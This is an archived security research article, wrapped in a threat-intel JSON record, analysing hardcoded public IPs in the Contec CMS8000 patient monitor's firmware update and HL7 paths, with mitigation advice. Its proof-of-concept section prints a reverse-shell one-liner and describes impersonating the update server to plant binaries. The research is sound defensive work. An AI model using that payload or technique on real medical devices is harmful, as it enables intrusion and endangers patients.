{ "id": "9d2a15ff-665e-4573-8ed0-664a7c81329a", "created_at": "2026-04-06T00:16:55.584318Z", "updated_at": "2026-04-10T13:11:49.084818Z", "deleted_at": null, "sha1_hash": "e17ed83df7cca8994111f678a95f5f317294c2c7", "title": "Do the CONTEC CMS8000 Patient Monitors Contain a Chinese Backdoor? The Reality is More Complicated…", "llm_title": "", "authors": "", "file_creation_date": "0001-01-01T00:00:00Z", "file_modification_date": "0001-01-01T00:00:00Z", "file_size": 29551763, "plain_text": "Do the CONTEC CMS8000 Patient Monitors Contain a Chinese\r\nBackdoor? The Reality is More Complicated…\r\nBy Team82\r\nPublished: 2025-02-02 · Archived: 2026-04-05 17:50:01 UTC\r\nExecutive Summary\r\nOn Jan. 30, The Cybersecurity Infrastructure \u0026 Security Agency (CISA) released an alert, complemented\r\nby a notification from the U.S. Food and Drug Administration (FDA) suggesting that the Contec CMS8000\r\npatient monitor and OEM white-label variants contain a backdoor communicating to a Chinese IP address.\r\nTeam82 investigated the firmware and reached the conclusion that it is most likely not a hidden backdoor,\r\nbut instead an insecure/vulnerable design that introduces great risk to the patient monitor users and hospital\r\nnetworks.\r\nOur conclusion is mainly based on the fact that the vendor—and resellers who re-label and sell the monitor\r\n—list the IP address in their manuals and instruct users to configure the Central Management System\r\n(CMS) with this IP address within their internal networks.\r\nIn addition, the upgrade flow requires a physical button press during the patient monitor boot process.\r\nThe hardcoded IPs found in the device are 202.114.4.119 (CMS server) over TCP ports 515-520,\r\n202.114.4.120 (HL7 server) over TCP port 511.\r\nTeam82 researched and presented at Claroty’s 2022 Nexus Conference a working PoC exploiting the\r\ninsecure design flaw in the Contec CMS8000 and attacking the patient monitor, below. \r\nUpdate, Feb. 25: CISA updated its advisory to reflect a vulnerability reports by Team82. CVE-2025-1204\r\nis a remotely exploitable hidden function vulnerability in the \"update\" binary in the firmware of the\r\naffected. The product sends attempts to mount to a hard-coded, routable IP address, bypassing existing\r\ndevice network settings to do so.\r\nhttps://claroty.com/team82/research/are-contec-cms8000-patient-monitors-infected-with-a-chinese-backdoor-the-reality-is-more-complicated\r\nPage 1 of 17\n\nBackground\r\nOn Jan. 30, CISA released an alert, complemented by a notification from the FDA suggesting that the Contec\r\nCMS8000 patient monitor and its white-label OEM variants contains a backdoor. Because this is a patient monitor\r\nmanufactured in China, the notification alerts healthcare providers that the device “can create conditions which\r\nmay allow remote code execution and device modification with the ability to alter its configuration. This\r\nintroduces risk to patient safety as a malfunctioning monitor could lead to improper responses to vital signs\r\ndisplayed by the device.” The notification states explicitly that this backdoor is “hidden functionality” (CWE-912), pointing to a hardcoded-IP address in China for the outbound communication of patient data and firmware\r\nupdates. \r\nSummary of Team82's Findings\r\nThrough Team82’s analysis, we have come to the conclusion that this alert is not a hidden backdoor as suggested\r\nby CISA and the FDA, but instead an insecure design issue, creating potential security risks to patient data. The\r\nCONTEC Operator Manual specifically mentions this “hard-coded” IP address as the Central Management\r\nSystem (CMS) IP address that organizations should use, so it is not hidden functionally as stated by CISA. \r\nhttps://claroty.com/team82/research/are-contec-cms8000-patient-monitors-infected-with-a-chinese-backdoor-the-reality-is-more-complicated\r\nPage 2 of 17\n\nThe Contec manual recommends the CMS hardcoded IP address: 202.114.4.119.\r\nAbsent additional threat intelligence, this nuance is important because it demonstrates a lack of malicious intent,\r\nand therefore changes the prioritization of remediation activities. Said differently, this is not likely to be a\r\ncampaign to harvest patient data and more likely to be an inadvertent exposure that could be leveraged to collect\r\ninformation or perform insecure firmware updates. Regardless, because an exposure exists that is likely leaking\r\nPHI randomly or could be used in some scenarios for malicious updates, the exposure should be remediated as a\r\npriority (see recommendations below).\r\nTechnical Details\r\nWe bought the CONTEC CMS8000 device and extracted the flash chip from the firmware.\r\nStep 1: Plug in the device\r\nThe first thing we did when we got the device was to connect it and verify its fully working, including peripherals\r\nlike the SpO2 oxygen sensor. We also installed the CMS software and streamed patient data to our server. The\r\ndefault configuration, as listed by the vendor’s installation guide and PDF manuals, was to use the 202.114.4.119\r\nIP address for the CMS server. This IP address was also pre-configured in our device (this was explained in the\r\nmanual).\r\nhttps://claroty.com/team82/research/are-contec-cms8000-patient-monitors-infected-with-a-chinese-backdoor-the-reality-is-more-complicated\r\nPage 3 of 17\n\nReading vitals using the Contec CMS8000 patient monitor.\r\nThen, we wanted to extract the firmware. So we opened the device carefully and unplugged the battery so we\r\nwouldn't get electrocuted.\r\nPopping open the patient monitor.\r\nhttps://claroty.com/team82/research/are-contec-cms8000-patient-monitors-infected-with-a-chinese-backdoor-the-reality-is-more-complicated\r\nPage 4 of 17\n\nStep 2: Extract the NAND Chip\r\nThe inner PCBs of Contec CMS8000.\r\nNext, we identified key hardware components:\r\nBoard is SmartARM3250 board with the LPC3250 Microcontroller\r\nCPU is ARM926EJ-S rev 4 (v5l)\r\nFlash chip which turned out to be S34ML01G200TFI000 NAND Flash SLC,1Gb,3x,3V,x8,4bit,TS48 by\r\nSkyHigh Memory.\r\nhttps://claroty.com/team82/research/are-contec-cms8000-patient-monitors-infected-with-a-chinese-backdoor-the-reality-is-more-complicated\r\nPage 5 of 17\n\nThe NAND Flash chip used by the Contec CMS8000.\r\nhttps://claroty.com/team82/research/are-contec-cms8000-patient-monitors-infected-with-a-chinese-backdoor-the-reality-is-more-complicated\r\nPage 6 of 17\n\nhttps://claroty.com/team82/research/are-contec-cms8000-patient-monitors-infected-with-a-chinese-backdoor-the-reality-is-more-complicated\r\nPage 7 of 17\n\nStep-by-step desoldering of the NAND memory chip from the PCB.\r\nStep 3: Read the Firmware\r\nNow that we had our chip extracted, time to read its contents. \r\nhttps://claroty.com/team82/research/are-contec-cms8000-patient-monitors-infected-with-a-chinese-backdoor-the-reality-is-more-complicated\r\nPage 8 of 17\n\nChip reader used to read the Contec memory chip.\r\nStep 4: Parse and Analyze the Firmware\r\nThe firmware blob was structured as a YAFFS flash file system, so we parsed it to extract the Linux based root\r\nfilesystem.\r\nhttps://claroty.com/team82/research/are-contec-cms8000-patient-monitors-infected-with-a-chinese-backdoor-the-reality-is-more-complicated\r\nPage 9 of 17\n\nThe firmware blob extracted from the NAND chip.\r\nNow we had all the binaries. We identified the main ARM based binary as “monitor” which contained all the\r\ndevice’s logic. This monolith binary handles most of the patient monitor’s logic, including reading measurements\r\nfrom the various sensors, sending patient information to the monitor systems, as well as upgrading the firmware of\r\nthe device.\r\nStep 5: Research the Main Binary\r\nWe tracked the firmware upgrade code flow and discovered that it uses the hardcoded 202.114.4.119 IP address to\r\nmount an NFS share via the network, and perform an upgrade routine, updating the device binaries from this IP\r\naddress. Generally, using NFS to update binaries is insecure, because it enables main-in-the-middle (MiTM)\r\nattacks and potentially code execution.\r\nhttps://claroty.com/team82/research/are-contec-cms8000-patient-monitors-infected-with-a-chinese-backdoor-the-reality-is-more-complicated\r\nPage 10 of 17\n\nThe function handling firmware upgrade, connecting to the hardcoded IP address 202.114.4.119\r\nallegedly updating from the LAN (if the CMS is configured to the LAN and the network supports\r\nthat).\r\nTeam82 was only able to trigger the update logic when booting the device AND clicking a button on the device\r\n(press \"C\" - main button). To the best of our knowledge, this is the only way to trigger the update logic. If true,\r\nthis would require an attacker to be physically located near the device. \r\nAlthough the full update process is VERY dangerous and risky, to us it does not appear to have malicious intent\r\nbehind it, especially when considering the manual boldly refers to this IP address, and white-label vendors ask\r\nusers to configure their internal CMS with this IP address.\r\nWhen examining the full update process, we discovered this routine:\r\n1. The update routine mounts the NFS share 202.114.4.119:/pm using the OS command mount -o nolock\r\n-t nfs 202.114.4.119:/pm /mnt\r\n2. The patient monitor verifies that the /mnt/monitor file exists.\r\n3. If the file exists, the patient monitor will copy all the binaries stored on the NFS share to the device’s\r\nfilesystem, using the OS command cp -rf /mnt/* /opt/bin\r\n4. This will overwrite the old system binaries with the new ones kept on the NFS share\r\n( 202.114.4.119:/pm )\r\nWhen examining this IP address, we immediately noticed it is not a reserved IP address for local networks (LAN),\r\nbut instead it is a routable public IP address accessible through the internet. The proper way to have a hard-coded\r\nhttps://claroty.com/team82/research/are-contec-cms8000-patient-monitors-infected-with-a-chinese-backdoor-the-reality-is-more-complicated\r\nPage 11 of 17\n\nlocal IP address would be, according to RFC1918, with private IP ranges 10.0.0.0/8, 172.16.0.0/12, or\r\n192.168.0.0/16.\r\nWhen examining this device manual and other white-label solution manuals, we see this IP address/subnet being\r\nused as the CMS IP address. (examples: 1, 2, 3, 4)\r\nFrom Contec manuals: Contec specifying the CMS server IP address is hardcoded to 202.114.4.119\r\nFurthermore, when examining the firmware of the device, we discovered that it indeed uses this subnet as its\r\ndefault network configuration.\r\nIn addition, in the CMS server manual we also see that the vendor is asking the users to set up the Windows\r\nmachine with this static IP address 202.114.4.119.\r\nhttps://claroty.com/team82/research/are-contec-cms8000-patient-monitors-infected-with-a-chinese-backdoor-the-reality-is-more-complicated\r\nPage 12 of 17\n\nThe static IP specified in the CONTEC CMS installation manual.\r\nTherefore, we believe the most likely scenario is that this is not a hidden “backdoor” installed by the\r\nmanufacturer, but instead an highly insecure/vulnerable design. This design still introduces a major risk, because\r\nif users are not configured in their default network configuration, whenever an upgrade routine is called, they will\r\nfetch the binaries updates over the internet from a server in the internet, putting users at great risk.\r\nUpon investigating the public internet IP address 202.114.4.119, we found that it is not currently hosting an NFS\r\nserver. Additionally, no servers within this IP address class C subnet are exposing services relevant to this routine.\r\nHowever, this IP could still be utilized in the future to distribute malicious binaries attempting to upgrade their\r\nversion.\r\nPatient Monitor Communication\r\nhttps://claroty.com/team82/research/are-contec-cms8000-patient-monitors-infected-with-a-chinese-backdoor-the-reality-is-more-complicated\r\nPage 13 of 17\n\nIn addition to 202.114.4.119 , another hardcoded IP address is used: 202.114.4.120 inside the firmware of the\r\npatient monitor. This IP address, also part of the routable subnet 202.114.4.0/24 , is used by the patient monitor\r\nas a central HL7 server over TCP/511. The HL7 server allows the patient monitor to communicate and share the\r\npatient data it collects (heart rate, blood pressure, oxygen saturation, etc.) with other systems across the hospital.\r\nOnce again we see that the vendor used a routable public IP address for this critical function handling sensitive\r\npatient information, which could lead to potential patient information leakage.\r\nPart of the CMS8000 configuration, showcasing the default hardcoded HL7 server.\r\nIn addition to HL7, Contec implemented a protocol to communicate with the CMS over TCP ports 515-520.\r\nBelow is an example of the patient monitor and CMS TCP communication over TCP port 515. We can see that\r\npatient information is transferred to the CMS server.\r\nHere is a list of the communications we saw the patient monitor performing:\r\nDirection Port Protocol Purpose\r\nhttps://claroty.com/team82/research/are-contec-cms8000-patient-monitors-infected-with-a-chinese-backdoor-the-reality-is-more-complicated\r\nPage 14 of 17\n\nPatient Monitor toward Central\r\nManagement System\r\nTCP/515-\r\n520\r\nCMS\r\nProtocol\r\nSend visual data to CMS\r\nPatient Monitor toward HL7 Server TCP/511\r\nHL7\r\nProtocol\r\nShare patient data with other\r\nhospital systems\r\nIn order to block the patient monitor from reaching the public IP addresses it has hardcoded in its firmware,\r\nleaking PII, and potentially receiving malicious binaries, we recommend blocking the entire 202.114.4.0/24\r\nsubnet in outgoing network traffic on your firewall.\r\nAbusing Insecure Design to Achieve RCE\r\nAs mentioned above, whether this insecure design was implemented as a hidden backdoor or not, it is still a\r\nserious security concern. To demonstrate this, we will share a proof-of-concept (PoC) attack we implemented and\r\npresented on stage at the 2022 Nexus Conference. \r\nOur PoC uses this insecure design, and by impersonating the hardcoded IP address mentioned in the vendor’s\r\nmanuals we were able to download malicious binaries to the patient monitor’s filesystem. We then overwrote one\r\nof the executables the patient monitor uses, calling code we control on every execution. This gave us the ability to\r\nexecute arbitrary code on the patient monitor, and we simply chose to implement a simple reverse shell payload,\r\ngiving us remote shell access to the device every few seconds, installing a backdoor.\r\n#!/bin/sh(ping -c 4 202.114.4.220; rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2\u003e\u00261| /opt/bin/busybox nc\r\nOur reverse shell payload using a busybox installation we added to the patient monitor during the update\r\nprocedure.\r\nThen, we simply set up a listener on our computer, and waited for the reverse shell to reach back and give us full\r\ncontrol over the patient monitor.\r\nOur installed backdoor, giving us a reverse shell on the patient monitor in the root user’s\r\npermissions.\r\nAfterward, we wrote our own full demo of a would-be exploit of the device. Our demo included a couple of attack\r\nscenarios, from faking patient vitals, all the way to performing a ransomware attack on the monitor, rendering it\r\nhttps://claroty.com/team82/research/are-contec-cms8000-patient-monitors-infected-with-a-chinese-backdoor-the-reality-is-more-complicated\r\nPage 15 of 17\n\ninoperable.\r\nAt Nexus Conference 2022, Team82 exploited this insecure design flaw and executed malicious\r\ncode on a patient monitor.\r\nRecommendations:\r\nIt is heavily recommended that organizations with this patient monitor block all access to the subnet\r\n202.114.4.0/24 from their internal network, blocking devices from attempting to upgrade their firmware\r\nfrom a WAN server or send PII in the future.\r\nWe have seen some OEM examples of the CONTEC CMS8000 where the default network configuration\r\nfor the CMS can be modified. If this is possible, do not leverage the default 202.114.4.119 IP address for\r\nyour CMS.\r\nIf you do need to leverage a CMS for monitoring and providing updates to the CONTEC CMS8000 patient\r\nmonitors or its white label variants, and must use the 202.114.4.119 hard-coded IP address, we recommend\r\napplying static routes and/or network segmentation to ensure that this traffic is routed only to your CMS\r\nand not externally. \r\nIf not using the HL7 capabilities of the patient monitor, it is recommended blocking all network traffic\r\noutbound to 202.114.4.120 to prevent potential PII/PHI leakage.\r\nhttps://claroty.com/team82/research/are-contec-cms8000-patient-monitors-infected-with-a-chinese-backdoor-the-reality-is-more-complicated\r\nPage 16 of 17\n\nThese patient monitors are still running vulnerable code that will always be attempting to connect to an\r\nexternally routable IP address, so it is recommended to replace them with a more secure device unless the\r\nvendor modifies firmware to prevent this action in the future.\r\nSource: https://claroty.com/team82/research/are-contec-cms8000-patient-monitors-infected-with-a-chinese-backdoor-the-reality-is-more-compl\r\nicated\r\nhttps://claroty.com/team82/research/are-contec-cms8000-patient-monitors-infected-with-a-chinese-backdoor-the-reality-is-more-complicated\r\nPage 17 of 17", "extraction_quality": 1, "language": "EN", "sources": [ "Malpedia" ], "origins": [ "web" ], "references": [ "https://claroty.com/team82/research/are-contec-cms8000-patient-monitors-infected-with-a-chinese-backdoor-the-reality-is-more-complicated" ], "report_names": [ "are-contec-cms8000-patient-monitors-infected-with-a-chinese-backdoor-the-reality-is-more-complicated" ], "threat_actors": [ { "id": "d90307b6-14a9-4d0b-9156-89e453d6eb13", "created_at": "2022-10-25T16:07:23.773944Z", "updated_at": "2026-04-10T02:00:04.746188Z", "deleted_at": null, "main_name": "Lead", "aliases": [ "Casper", "TG-3279" ], "source_name": "ETDA:Lead", "tools": [ "Agentemis", "BleDoor", "Cobalt Strike", "CobaltStrike", "RbDoor", "RibDoor", "Winnti", "cobeacon" ], "source_id": "ETDA", "reports": null } ], "ts_created_at": 1775434615, "ts_updated_at": 1775826709, "ts_creation_date": 0, "ts_modification_date": 0, "files": { "pdf": "https://archive.orkl.eu/e17ed83df7cca8994111f678a95f5f317294c2c7.pdf", "text": "https://archive.orkl.eu/e17ed83df7cca8994111f678a95f5f317294c2c7.txt", "img": "https://archive.orkl.eu/e17ed83df7cca8994111f678a95f5f317294c2c7.jpg" } }